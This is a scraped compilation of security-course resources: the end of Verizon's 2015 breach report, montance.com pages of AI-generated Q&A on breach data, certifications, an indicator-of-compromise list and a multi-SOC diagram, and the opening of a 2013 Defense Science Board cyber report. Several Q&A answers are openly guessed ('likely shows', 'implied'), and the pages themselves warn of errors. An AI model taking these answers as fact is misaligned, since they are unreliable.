more meaningful, descriptive, and actionable findings. Any deviation from this strategy is documented if and when it occurred. A WORD ON SAMPLE BIAS We would like to reiterate that we make no claim that the findings of this report are representative of all data breaches in all organizations at all times. Even though the combined records from all our partners more closely reflect reality than any of them in isolation, it is still a sample. And although we believe many of the findings presented in this report to be appropriate for generalization (and our confidence in this grows as we gather more data and compare it to that of others), bias undoubtedly exists. Unfortunately, we cannot measure exactly how much bias exists (i.e., in order to give a precise margin of error). We have no way of knowing what proportion of all data breaches are represented because we have no way of knowing the total number of data breaches across all organizations in 2014. Many breaches go unreported (though our sample does contain many of those). Many more are as yet unknown by the victim (and thereby unknown to us). While we believe many of the findings presented in this report to be appropriate, generalization, bias, and methodological flaws undoubtedly exist. However, with 70 contributing organizations this year, we’re aggregating across the different collection methods, priorities, and goals of our partners. We hope this aggregation will help minimize the influence of any individual shortcomings in each of the samples, and the whole of this research will be greater than the sum of its parts. Denial-of-service attacks, system compromises, and other incidents: Our report on data breaches now includes more than data breaches. Many breaches go unreported. Many more are as yet unknown by the victim (and thereby unknown to us). 2015 DATA BREACH INVESTIGATIONS REPORT 61APPENDIX C Contributing Organizations ACE Group Akamai TechnologiesAnti-Phishing Working Group (APWG) Arbor Networks AsTech ConsultingAustralian Federal Police (AFP)BitSightCenter for i nternet Security Centre for Cyber Security, Denmark Centripetal Networks, i nc. CERT i nsider Threat Center CERT Polska/NASK CERT-EU European UnionChamplain College’s Senator Patrick Leahy Center for Digital i nvestigation Computer Emergency Response Team of Ukraine (CERT-UA)Computer i ncident Response Center Luxembourg (C iRCL), National CERT, LuxembourgCouncil on CyberSecurityCrowdStrikeCybercrime Central Unit of the Guardia Civil (Spain)CyberSecurity Malaysia, an agency under the Ministry of Science, Technology and i nnovation (MOST i) Defense Security Service (DSS) Deloitte and Touche LLPDutch Police: National High Tech Crime Unit (NHTCU)EMC Critical i ncident Response Center (C iRC) FireEye Fortinet G-C Partners, LLCGuidance SoftwareiCSA Labs identity Theft Resource Center industrial Control Systems Cyber Emergency Response Team (iCS-CERT) interset (formerly FileTrek) irish Reporting and i nformation Security Service ( iRiSS-CERT) Japan Computer Emergency Response Team Coordination Center (JPCERT/CC)Kaspersky Lab Lares ConsultingLastline Malicious Streams McAfeeMishcon de ReyaMiTREMotive SecurityMWR i nfoSecurity National Cybersecurity and Communications i ntegration Center (NCC iC) NetDiligenceNiddelOne World LabsPalo Alto Networks Policia Metropolitana, Ciudad de Buenos Aires, Argentina QualysRecorded FutureResearch and Education Networking i nformation Sharing and Analysis Center (REN- iSAC) RiskAnalyticsRisk i /O S21secSANS Securing The HumanSplunkThreatConnectThreatSim Tripwire United Kingdom Computer Emergency Response Team (CERT-UK)U.S. Computer Emergency Readiness Team (US-CERT)U.S. Secret ServiceVCDB ProjectVerizon Cyber i ntelligence Center Verizon DoS DefenseVerizon R iSK Team Verizon WirelessWhiteHat SecurityWinston & StrawnWombat Security Technologies 62 VERIZON ENTERPRISE SOLUTIONSDespite the rhetoric in the news about the Internet of Things (IoT) device security, no widely known IoT device breaches have hit the popular media. Most of the breach examples in the news have been proofs of concept. After filtering out the hype and hypotheticals, there were few incidents and little data disclosure to report for 2014.62 The challenge then becomes how to write about i oT security in a data-driven report without significant i oT incident data to work with. The answer is, of course, “cautiously.” As you might have noticed, we like to avoid making bold, opinion-driven predictions. So rather than prognosticate that i oT breaches will cause widespread panic in 2015, we’ll just focus on expert projections— supported by data—about the growth of the industry, some of the nuances in i oT development and administration, and potential motives for adversaries to start targeting these devices in the future. The industry anticipates exponential growth over the next five years. Verizon experts predict that there will be over 5 billion i oT devices by the end of this decade. 63 *Content contributed by i ntel Security and Verizon Enterprise Solutions. 62 if you know of some and you’re holding out, you’ve got our coordinates: dbir@verizon.com 63 State of the Market: The i nternet of Things 2015, verizonenterprise.com/state-of-the-market-internet-of-things/APPENDIX D The Internet of Things* 13 245 20011.2B5.4B 2014 2020BILLIONS28% YEAR-OVER-YEAR GROWTH Figure 44. B2B Internet of Things connections, 2011 to 2020 (forecast)5 BILLION VERIZON EXPERTS PREDICT THAT THERE WILL BE OVER 5 BILLION I oT DEVICES BY THE END OF THIS DECADE. State of the Market: The Internet of Things 2015 report 2015 DATA BREACH INVESTIGATIONS REPORT 63This chart doesn’t say there will be 5 billion i nternet-visible devices, or that all of them will be sending sensitive information or possibly affect critical infrastructure assets that cannot suffer availability issues. The devices that make up the i oT vary in complexity and function. What the chart does convey is that i oT/machine to machine (M2M) will be even more ubiquitous in the coming years. Many of the devices that help comprise the i oT are, and will be, simple unitaskers (i.e., there will be no “Service Pack 1” for your i nternet-enabled lawn sprinklers). When developing i oT devices aimed at millions of consumers, cost is particularly important. Every additional bit of main memory or flash storage adds cost. Additional processing power adds cost. Software to protect the device adds cost. i t is fruitless to expect security will have the same priority from developers in a rapidly expanding market where time to market is so critical as to not get left behind. How does a developer include SSL (or TLS) encryption on an 8-bit microcontroller that is simply turning lights on and off? How does a system admin push patches or firmware updates? Does it even need to? Real-world attacks against more complex implementations, while attributed to sophisticated threat actors, have not required sophisticated techniques. i nternet-visible login pages combined with default passwords have been responsible for several compromises, two of which involved public utilities. 64, 65 To be fair, not all attacks against connected devices have been typical in nature. Alternate attack methods against connected devices using RF and GSM connectivity have been realized both in real-world situations 66 and in research studies.67 Good-bye Slim Jim,68 hello fake GSM network! 64 tripwire.com/state-of-security/incident-detection/dhs-confirms-u-s-public-utilitys-control-system-was-hacked/ 65 networkworld.com/article/2844283/microsoft-subnet/peeping-into-73-000-unsecured-security-cameras-thanks-to-default- passwords.html 66 The real-world example did require access to the car’s diagnostic port: dailymail.co.uk/news/article-2699733/ Unfashionable-effective-Police-tell-luxury-car-owners-traditional-steering-clamps-best-way-beat-modern-thieves.html 67 heise.de/ct/artikel/Beemer-Open-Thyself-Security-vulnerabilities-in-BMW-s-ConnectedDrive-2540957 .html 68 amazon.com/Lockout-Opener-Unlock-Universal-Access/dp/B00LGB68OYIoT DEVICE PRIVACY ioT data privacy, especially privacy related to P ii, is a special challenge in this new market. i t is essential to provide privacy protection among all the components in the i oT ecosystem. These ecosystems can be broken down into several categories based on their sophistication and data manipulation complexity. Level 3 devices are essentially sensor systems capable of relaying measured values to aggregating and two-way-communicating Level 2 devices. Level 1 devices are fully equipped i nternet-worked devices capable of computation and sophisticated communication and application delivery. Following are guiding requirements for an i oT ecosystem that delivers data privacy: Purpose —Only data that is absolutely necessary should be gathered. When in doubt, err on the side of not collecting. Level 3 devices should be limited to sensing and relaying capabilities.Consent/Access —Fine-grained consent and access-control rules should be built in. Data should not be transferred to third parties for other purposes without explicit approval. Each piece of information should be annotated with its purpose and who has accessed it. Any accessible Level 1 device should allow for a view listing piecewise information collected and its intended usage. Anonymization —All data should be transferred and retained in an encrypted and anonymized form. This helps ensure that unauthorized people or systems do not gain access to users’ P ii and that data breaches do not result in the leakage of P ii. Separation —Strict separation of data should be maintained both in household and enterprise data repositories, except when information is aggregated for trend analysis in an anonymized manner. Safeguards —Level 3 devices should be limited to sensing and relaying capability, and Level 2 and Level 1 devices, including the intercommunication channels, should be highly secure systems.It is fruitless to expect security will have the same priority from developers where time to market is so critical. 64 VERIZON ENTERPRISE SOLUTIONSAs stated before, we are not going to back any wild predictions for the rest of 2015 and beyond, but there are several things that would not surprise us if they were to occur: • increased privacy-related research and exploits related to the identification of users based on the wearable and medical i oT devices that accompany individuals as they are moving about • ioT-device-originated breaches that establish a beachhead into the broader connected network • Emergence of more tools like Shodan69 to detect and exploit vulnerabilities and weaknesses in ioT device security When jumping on the i oT bandwagon, perform threat modeling and attack graph exercises to determine who your most likely adversary is, what their motives may be (financial vs. espionage vs. ideology, etc.), and where the most vulnerable components in your i oT services are. Determine where the sensitive data ultimately resides in the ecosystem; it may be on very “un- ioT” devices such as cloud-based databases or Hadoop 70 clusters. Ensure focus on i nternet-visible components. With no incident data to drive decision making, understanding the typical methods used by your adversary and how they map to the data flow in your i oT implementation is a good start. 69 shodan.io/ 70 You know we had to say Hadoop at least once in the report. Might as well get “big data” out of the way here, too.QUESTIONS? COMMENTS? BRILLIANT IDEAS? We want to hear them. Drop us a line at dbir@verizon.com , find us on Linked in, or tweet @VZdbir with the hashtag #dbir. ABOUT THE COVER The visualization on the cover is based on breach impact data and analysis performed by Verizon. Each line represents an estimate of the distribution of financial loss. The amount of financial loss is represented along the x-axis (horizontal)—as the line moves to the right, it represents more financial loss. The height of the line represents the density, so taller areas represent more loss events across those points in the distribution. The financial loss is estimated using the model discussed in the i mpact section in this report. The lines are extended in both directions for visual effect. The industries are ordered based on distribution height for visual effect (taller distributions are toward the top). The data to estimate the loss is pulled from the past 11 years where both the industry and amount of compromised records were recorded and unique, resulting in 826 confirmed data breaches being represented in the visualization. verizonenterprise.com © 2015 Verizon. All Rights Reserved. The Verizon name and logo and all other names, logos, and slogans identifying Verizon’s products and services are trademarks and service marks or registered trademarks and service marks of Verizon Trademark Services LLC or its affiliates in the United States and/or other countries. All other trademarks and service marks are the property of their respective owners. WP16368 4/15 verizonenterprise.com Malevolence, lower the tech cog! if you are reading this, you are most likely looking for the cover challenge, which begins now. We hope you have heaps of fun this year toiling with our humble little puzzle. However,do keep in mind, while we may inject red herrings to waste time, your paying job, health andfamily are still important, please do not neglect such things. Our goal is to present aunique and challenging challenge to the challengers and to make friends, not foes. May luck be your friend in your hunting and gathering. --- ## Source: https://montance.com/questions.php?id=27 [![pdf](content/images/icons/pdf.svg) rp data breach investigation report 2015 en xg.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgamR0YXpSOTA2Xzg/view?usp=sharing) Rp Data Breach Investigation Report 2015 En Xg 2015 Verizon Data Breach Investigations Report analyzing global breach trends. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the estimated financial loss from 700 million compromised records? A: $400 Million. * Q: What percentage of recipients opened phishing messages? A: 23%. * Q: What percentage of recipients clicked on attachments in phishing messages? A: 11%. * Q: What are the three top industries affected? A: Public, Information, and Financial Services. * Q: What is the primary motive for most attacks? A: Financial gain. * Q: What percentage of attacks involved a secondary victim? A: Nearly 70%. * Q: What is 'RAM Scraping'? A: Malware that extracts data from volatile memory, often used in POS intrusions. * Q: What proportion of exploits used vulnerabilities patched more than a year ago? A: 99.9%. * Q: What is the 'Detection Deficit'? A: The gap between time to compromise and time to discovery. * Q: How many organizations contributed to the 2015 DBIR? A: 70 organizations. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=26 [![xlsx](content/images/icons/xlsx.svg) Security Certifications.xlsx](https://docs.google.com/spreadsheets/d/1fA6ZIxhXRBsJlKhE95PX29iszc5uUXzt/edit?usp=sharing) Security Certifications Matrix of offensive and defensive security certifications. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What does GCIH stand for? A: GIAC Certified Incident Handler. * Q: What does CISSP stand for? A: Certified Information Systems Security Professional. * Q: What is the 'Offensive Security' certification listed? A: OSCP (Offensive Security Certified Professional). * Q: What does CCIE Security stand for? A: Cisco Certified Internetwork Expert Security. * Q: Which certification is related to Industrial Control Systems? A: GICSP (Global Industrial Cyber Security Professional). * Q: What does GREM stand for? A: GIAC Reverse Engineering Malware. * Q: What does CEH stand for? A: Certified Ethical Hacker. * Q: What color represents 'Defensive' certifications in the key? A: Green (implied/labeled). * Q: What color represents 'Offensive' certifications in the key? A: Red (implied/labeled). * Q: What is the certification 'CISA'? A: Certified Information Systems Auditor. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=25 [![docx](content/images/icons/docx.svg) Look At Closer.docx](https://docs.google.com/document/d/1xsjbJN4pX9lC1CoZ9i4xa50Rdn1nVoDm/edit?usp=sharing) Look At Closer Document listing specific suspicious patterns and indicators of compromise. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the source of the patterns listed in this document? A: Private email from James Butterworth (Sands Corp). * Q: What file property pattern is listed as suspicious? A: PE Checksum = "0". * Q: What specific URL strings should be watched? A: Any URL that contains "HXXP" or "H00P". * Q: What registry key is mentioned for autostart? A: HKLM.../Current Version/Run. * Q: What is a suspicious indicator regarding file archives? A: Any file archive larger than 2Gb (Zip/Rar/Etc). * Q: What user behavior is flagged regarding RDP? A: User logging into another machine via RDP (excluding Admin Accounts). * Q: What service query is listed as suspicious? A: Service queries "http://ipinfo.io/". * Q: What indicator relates to IRC? A: Open IRC Connections (Sessions) - Not using common IRC Ports. * Q: What pattern indicates a 'Hidden' service? A: Service Flagged as "Hidden". * Q: What file extensions are mentioned in the context of stolen signing certificates? A: ".CN" or ".KR". ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1MY1-PVmmKap67MaghIdzlIXH1tZlfE0f/view?usp=sharing **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/1MY1-PVmmKap67MaghIdzlIXH1tZlfE0f/view?usp=sharing]** --- ## Source: https://montance.com/questions.php?id=24 [![vsdx](content/images/icons/pdf.svg) Swimlane multiSOC generic US-EU-AUS.vsdx](https://drive.google.com/file/d/1MY1-PVmmKap67MaghIdzlIXH1tZlfE0f/view?usp=sharing) Swimlane Multisoc Generic US EU AUS Resource covering SOC titled 'Swimlane Multisoc Generic US EU AUS'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: How does the 'Follow the Sun' model depicted impact SOC staffing? A: It allows for 24/7 coverage without requiring night shifts in every region, improving analyst quality of life and retention. * Q: What is the operational challenge of the 'Data Sovereignty' implied by the EU swimlane? A: The SOC must ensure that log data from EU citizens stays within the EU (or compliant systems) while still maintaining global visibility. * Q: How does the diagram suggest 'Handoffs' occur? A: It likely shows overlap periods where regions synchronize context before transferring control, critical for continuity. * Q: What is the role of the 'Tier 3' function in a distributed model? A: It often serves as a global center of excellence, handling the most complex cases regardless of where they originated. * Q: How does 'Regional' vs. 'Global' policy application differ? A: Regional SOCs apply local context and compliance rules, while Global applies broad threat intelligence and corporate policy. * Q: What is the 'Resilience' advantage of this multi-SOC architecture? A: If one SOC goes offline (e.g., weather, connectivity), operations can be shifted to another region. * Q: How does the diagram address 'Latency' in decision making? A: By empowering regional SOCs to make Triage/Containment decisions locally, reducing the delay of consulting a central HQ. * Q: What implies the need for a 'Unified Platform'? A: For this model to work, all regions must access the same ticketing and SIEM data (logically, if not physically) to collaborate. * Q: What is the 'Cultural' consideration in this model? A: Different regions may have different risk tolerances and communication styles, requiring standardized operating procedures. * Q: How does this model support 'Insider Threat' detection? A: Regional analysts are better positioned to understand local context and behavioral anomalies that a remote global analyst might miss. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/16z8eQmN_oQ3hanI3icR2mAnKhq_qYk0F/view?usp=sharing **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/16z8eQmN_oQ3hanI3icR2mAnKhq_qYk0F/view?usp=sharing]** --- ## Source: https://montance.com/questions.php?id=23 [![jpg](content/images/icons/jpg.svg) Swimlane multiSOC generic US EU AUS.jpg](https://drive.google.com/file/d/16z8eQmN_oQ3hanI3icR2mAnKhq_qYk0F/view?usp=sharing) Swimlane Multisoc Generic US EU AUS Resource covering SOC titled 'Swimlane Multisoc Generic US EU AUS'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1cTORwRw7T0srtgTVdLw7ElM2sP7_jp7x/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1cTORwRw7T0srtgTVdLw7ElM2sP7_jp7x/view?usp=sharing]** TASK FORCE REPORT : Resilient Military Systems and the Advanced Cyber Threat January 2013 This report is a product of the Defense Science Board (DSB). The DSB is a Federal Advisory Committee established to provide independent advice to the Secretary of Defense. Statements, opinions, conclusions, and recommendations in this report do not necessa rily represent the official position of the Department of Defense. The DSB Task Force on Resilient Military Systems and the Advanced Cyber Threat completed its information gathering in August 2012. This report is UNCLASSIFIED and releasable to the public . DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE OFFICE OF THE SECRETARY OF DEFENSE 3140 DEFENSE PENTAGON WASHINGTON, DC 20301 –3140 DEFENSE SCIENCE BOARD October 10, 2012 MEMORANDUM TO THE CHAIRMAN, DEFENSE SCIENCE BOARD SUBJECT: Final Report of the Defense Science Board (DSB) Task Force on Resilient Military Systems The final report of the DSB Task Force on Resilient Military Systems is attached. This report is based on the perspective of 24 Task Force members who received more than 50 brie fings from practitioners and senior officials throughout the Department of Defense (DoD), Intelligence Community (IC), commercial sector, academia, national laboratories, and policymakers. This Task Force was asked to review and make recommendations to i mprove the resilience of DoD systems to cyber attacks, and to develop a set of metrics that the Department could use to track progress and shape investment priorities. After conducting an 18- month study, this Task Force concluded that the cyber threat is serious and that the United States cannot be confident that our critical Information Technology (IT) systems will work under attack from a sophisticated and well- resourced opponent utilizing cyber capabilities in combination with all of their military and intelligence capabilities (a "full spectrum" adversary). While this is also true for others ( e.g. Allies, rivals , and public /private networks ), this Task Force strongly believes the DoD needs to take the lead and build an effective response to measurably increase confidence in the IT systems we depend on (public and private) and at the same time decrease a would -be attacker's confidence in the effectiveness of their capabilities to compromise DoD systems. This conclusion was developed upon several factors, including the success adversaries have had penetrating our networks; the relative ease that our Red Teams have in disrupting, or completely beating, our forces in exercises using exploits available on the Internet; and the weak cyber hygiene position of D oD networks and systems. The Task Force believes that the recommendations of this report create the basis for a strategy to address this broad and pervasive threat. Nearly every conceivable component within DoD is networked. These networked systems and components are inextricably linked to the Department’s ability to project military force and the associated mission assurance. Yet, DoD’s networks are built on inherently insecure architectures that are composed of, and increasingly using, foreign parts. While DoD takes great care to secure the use and operation of the “hardware” of its weapon systems, the same level of resource and attention is not spent on the complex network of information technology (IT) systems that are used to support and operate those weapons or critical IT capabilities embedded within them. DoD’s dependence on this vulnerable technology is a magnet to U.S. opponents. In fact, DoD and its contractor base have already sustained staggering losses of system design information incorpora ting decades of combat knowledge and experience that provide adversaries insight to DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Table of Contents | iv Resilient Military Systems and the Advanced Cyber Threat Table of Contents Table of Contents ........................................................................................................................... iv Executive Summary ........................................................................................................................ 1 Report Terminology ................................................................................................................. 2 Background .............................................................................................................................. 3 Recommendations ................................................................................................................... 7 Investment Requirements ..................................................................................................... 11 Measuring Progress ............................................................................................................... 12 1.0 Introduction ........................................................................................................................... 16 1.1 Identification of This Report ......................................................................................... 16 1.2 Study Purpose ............................................................................................................... 16 1.3 Study Background and Special Circumstances ............................................................. 17 1.4 Working Terminology, Scope, and Definitions for this Study ....................................... 19 1.5 Report Structure ........................................................................................................... 20 2.0 U nderstanding the Cyber Threat ........................................................................................... 21 2.1 Definition of the Cyber Threat ...................................................................................... 21 2.2 Impact of the Cyber Threat ........................................................................................... 25 2.3 Consequences of and Reaction to the Threat .............................................................. 28 3.0 Defining a Resilience Strategy for DoD Systems .................................................................... 29 3.1 Cyber Strategy for DoD ................................................................................................. 32 3.2 Table of Recommendations .......................................................................................... 33 4.0 Measuring Progress ............................................................................................................... 34 4.1 Metric Collection Systems ............................................................................................. 35 4.2 System Performance Metrics ........................................................................................ 37 5.0 Maintaining Deterrence in the Cyber Era .............................................................................. 40 5.1 Background ................................................................................................................... 40 5.2 Recomme ndation: Protect the Nuclear Strike as a Deterrent (for existing nuclear armed states and existential cyber attack). ................................................................... 42 5.3 Recommendation: Determine the Mix of Cyber, Protected -Conventional, and Nuclear Capabilities Necessary for Assured Operation in the Face of a Full- Spectrum Adversary. ........................................................................................................................................ 42 5.4 Conventional Deterrent Measures ............................................................................... 45 6.0 Collecting Intelligence on Peer Adversaries’ Cyber Capabilities ............................................ 46 6.1 Background: Scope of Higher -Tier Threats ................................................................... 46 6.2 Recommendation: Refocus Intelligence Collection and Analysis to Understand Adversarial Cyber Capabilities, Plans and Intentions, and to Enable Counterstrategies. ........................................................................................................................................ 46 6.3 Intelligence Performance Measures ............................................................................. 47 DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Table of Contents | v Resilient Military Systems and the Advanced Cyber Threat 7.0 Developing World -Class Cyber Offensive Capabilities ........................................................... 49 7.1 Background ................................................................................................................... 49 7.2 Recommendation: Build and Maintain World -Class Cyber Offensive Capabilities ( with Appropriate Authorities). ............................................................................................... 51 7.3 World -Class Offense Measures ..................................................................................... 53 8.0 Enhancing Defenses to Thwart Low - and Mid -Tier Threats ................................................... 55 8.1 Background ................................................................................................................... 55 8.2 Recommendation: Enhance Defenses to Protect Against Low and Mid- Tier Thre ats. 56 8.3 Cyber Defense (Hygiene) Performance Measures ........................................................ 64 9.0 Changing DoD’s Cyber Culture to Take Security More Seriously ........................................... 67 9.1 Background ................................................................................................................... 67 9.2 Recommendation: Change DoD’s Culture Regarding Cyber and Cyber Secu rity. ........ 69 9.3 Cyber Culture Performance Measures ......................................................................... 70 10.0 Building a Cyber Resilient Force ........................................................................................... 72 10.1 Background ................................................................................................................... 72 10.2 Recommendation: Build a Cyber Resilient Force. ......................................................... 77 10.3 Integrated Cyber Requirements Measures ................................................................... 80 11.0 Order of Magnitude Cost Estimates .................................................................................... 82 11.1 Recommendation: Protect Nuclear Strike, Ensure Availability of Conventional Capabilities ..................................................................................................................... 82 12.0 Summary of Stu dy Recommendations ................................................................................ 85 12.1 Recommendation: Protect the Nuclear Strike as a Deterrent (for existing nuclear armed states and existential cyber attack). ................................................................... 85 12.2 Recommendation: Determine the Mix of Cyber, Protected -Conventional, and Nuclear Capabilities Necessary for Assured Operation in the Face of a Full- Spectrum Adversary. 85 12.3 Recommendation: Refocus Intelligence Collection and Analysis to Understand Adversarial Cyber Capabilities, Plans and Intentions, and to Enable Counterstrategies. 86 12.4 Recommendation: Build and Maintain World -Class Cyber Offensive Capabilities (with appropriate authorities). ............................................................................................... 87 12.5 Recommendation: Enhance Defenses to Protect Against Low and Mid- Tier Threats. 88 12.6 Recommendation: Change DoD’s Culture Regarding Cyber and Cyber Security. ........ 91 12.7 Recommendation: Build a Cyber Resilient Force. ......................................................... 92 Appendix 1 —Terms of Reference ................................................................................................ 96 Appendix 2 —Task Force Membership ......................................................................................... 99 Appendix 3 —Task Force Meeting Schedule and Briefings ........................................................ 101 Appendix 4 —Acronyms Used in This Report ............................................................................. 104 Appendix 5 —Sample Enterprise Specification .......................................................................... 107 DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Table of Contents | vi Resilient Military Systems and the Advanced Cyber Threat Appendix 6 —Counterintelligence .............................................................................................. 138 List of Figures Figure ES.1 Cyber Threat Taxonomy .............................................................................................. 3 Figure ES.2 Risk Management Parameters .................................................................................... 6 Figure ES.3 Notional Dashboard – Metric Collection System ...................................................... 13 Figure ES.4 Notional Dashboard – Performance Metrics ............................................................ 14 Figure 2.1 Cyber Threat Taxonomy .............................................................................................. 21 Figure 2.2 Example of a Cold -War era Tier VI Cyber Exploitation ............................................... 24 Figure 2.3 A Notional Modified Integrated Circuit ...................................................................... 25 Figure 2.4 Commercial Operating System SLOC Growth ............................................................. 26 Figure 2.5 Representative Growth in Hardware Complexity ....................................................... 27 Figure 3.1 Risk Management Parameters .................................................................................... 29 Figure 3.2 Graphic Illustration of the Complexity of Software Required to Defend and Attack our Systems. Very Small Changes (Even Single Bits) Can Cause Major Impacts to the Operation of a System .................................................................................... 30 Figure 4.1 Notional Cyber Dashboard for Secretary – Metric Collection Systems ...................... 36 Figure 4.2 Notional Dashboard of System Performance Metrics ................................................ 38 Figure 5.1 Conventional Deterrent Measures ............................................................................. 45 Figure 6.1 Intelligence Performance Measures .......................................................................... 48 Figure 7.1 World -Class Offense Metrics ...................................................................................... 53 Figure 8.1 DOS System Risk Scorecard ......................................................................................... 60 Figure 8.2 DOS Risk Score Indicator for Enterprise ...................................................................... 61 Figure 8.3 Cyber Defense Hygiene Performance Measur es ........................................................ 65 Figure 9.1 Cyber Culture Performance Measures ....................................................................... 71 Figure 10.1 Mission Assurance Assessment Process ................................................................... 73 Figure 10.2 Integrated Cyber Requirement Measures ................................................................ 81 List of Tables Table ES.2 Estimated Investment Requirements for Study Recommendations .......................... 12 Table 1.3 Previous DSB Studies That Have Addressed the Cyber Theme .................................... 19 Table 2.1 Description of Threat Tiers ........................................................................................... 22 Table 3.1 Table of Recommendations. ........................................................................................ 33 Table 5.1 Notional Elements of Prot ected -Conventional Strike Capability. ................................ 44 Table 8.1 COTS Technology to Automate Portions of Network Management ............................ 63 Table 11.1 Estimated Investment Requirements for Study Recommendations ......................... 82 DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Executive Summary | 1 Resilient Military Systems and the Advanced Cyber Threat Executive Summary The United States cannot be confident that our critical Information Technology (IT) systems will work under attack from a sophisticated and well- resourced opponent utilizing cyber capabilities in combination with all of their military and intelligence capabilities (a "full spectrum" adversary). While this is also true for others (e.g. Allies, rivals, and public/private networks), this Task Force strongly believes the DoD needs to take the lead and build an effective response to measurably increase confidenc e in the IT systems we depend on (public and private) and at the same time decrease a would -be attacker's confidence in the effectiveness of their capabilities to compromise DoD systems. We have recommended an approach to do so, and we need to start now! While DoD takes great care to secure the use and operation of the “hardware” of its weapon systems, these security practices have not kept up with the cyber adversary tactics and capabilities . Further, the same level of resource and attention is not spent on the complex network of information technology (IT) systems that are used to support and operate those weapons or critical cyber capabilities embedded within them . This Task Force was asked to review and make recommendations to improve the resilience of DoD systems to cyber attacks and to develop a set of metrics that the Department could use to track progress and shape investment priorities. Over the past 1 8 months , the Task Force received more than 50 briefings from practitioners and senior officials t hroughout the DoD , Intelligence Community (IC), commercial practitioners, academia, national laboratories, and policymakers. As a result of its deliberations, the Task Force concludes that:  The cyber threat is serious, with potential consequences similar in some ways to the nuclear threat of the Cold War  The cyber threat is also insidious , enabling adversaries to access vast new channels of intelligence about critical U .S. enablers (operational and technical; military and industrial) that can threaten our national and economic security  Current DoD actions, though numerous, are fragmented. Thus , DoD is not prepared to defend against this threat  DoD red teams, using cyber attack tools which can be downloaded from the Internet, are very successful at defeating our systems  U.S. networks are built on inherently insecure architectures with increasing use of foreign -built components  U.S. intelligence ag ainst peer threats targeting DoD systems is inadequate  With present capabilities and technology i t is not possible to defend with confidence against the most sophisticated cyber attacks  It will take years for the Department to build an effective response to the cyber threat to include elements of deterrence, mission assurance and offensive cyber capabilities. DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Executive Summary | 2 Resilient Military Systems and the Advanced Cyber Threat Report Terminology To discuss the cyber threat and potential responses in more detail, it is important to establish some common language. For p urpose of this report, Cyber is broadly used to address the components and systems that provide all digital information , including weapons/battle management systems, IT systems, hardware, processors, and software operating systems and applications , both standalone and embedded. Resilience is defined as the ability to provide acceptable operations despite disruption: natural or man -made, inadvertent or deliberate. Existential Cyber Attack is defined as an attack that is capable of causing sufficie nt wide scale damage for the government potentially to lose control of the country , including loss or damage to significant portions of military and critical infrastructure : power generation, communications, fuel and transportation, emergency services, fin ancial services , etc. The Task Force developed a threat hierarchy to describe capabilities of potential attackers, organized by level of skills and breadth of available resources (See Figure ES.1 ).  Tiers I and II attackers primarily exploit known vulner abilities  Tiers III and IV attackers are better funded and have a level of expertise and sophistication sufficient to discover new vulnerabilities in systems and to exploit them  Tiers V and VI attackers can invest large amounts of money (billions) and t ime (years) to actually create vulnerabilities in systems, including systems that are otherwise strongly protected. Higher -tier competitors will use all capabilities available to them to attack a sy stem but will usually try lower- tier exploits first before exposing their most advanced capabilities. Tier V and VI level capabilities are today limited to just a few countries such as the United States, China1,2 and Russia.3 1 Office of the National Intelligence Executive; “Foreign Spies Stealing US Economic Secrets in Cyber Space: Report to Congress on Foreign Economic Collection and Industrial Espionage;” 2011 2 Gen Keith Alexander; testimony to US Senate Armed Services Committee on US Strategic Command and US Cyber Command in Review of the Defense Authorization Request for Fiscal Year 2013; Tuesday, March 27, 2012 3 Maneki, Sharon; “Learning from the Enemy: The Gunman Project;” Center for Cryptologic History, National Secu rity Agency; 2009 DEFENSE SCIENCE BOARD | DEPARTMENT OF DEFENSE DSB TASK FORCE REPORT Executive Summary | 3 Resilient Military Systems and the Advanced Cyber Threat Figure ES. 1 Cyber Threat Taxonomy Background The adversary is in our networks. Then Deputy Secretary of Defense William Lynn’s 2010 Foreign Affairs article documented a significant compromise of DoD classified networks in 2008 through the simple insertion of an infected flash drive. M oreover, adversaries exploit more than military operational systems , but intellectual property relevant to our commercial industries as well. The DoD , and its contractor base are high priority targets that have sustained staggering losses of system design information incorporating years of combat knowledge and experience. Employing reverse engineering techniques, adversaries can exploit weapon system technical plans for their benefit. Perhaps even more significant, they gained insight to operational concepts and syste m use (e.g., which processes are automated and which are person controlled) developed from decades of U .S. operational and developmental experience —the type of information that cannot simply be 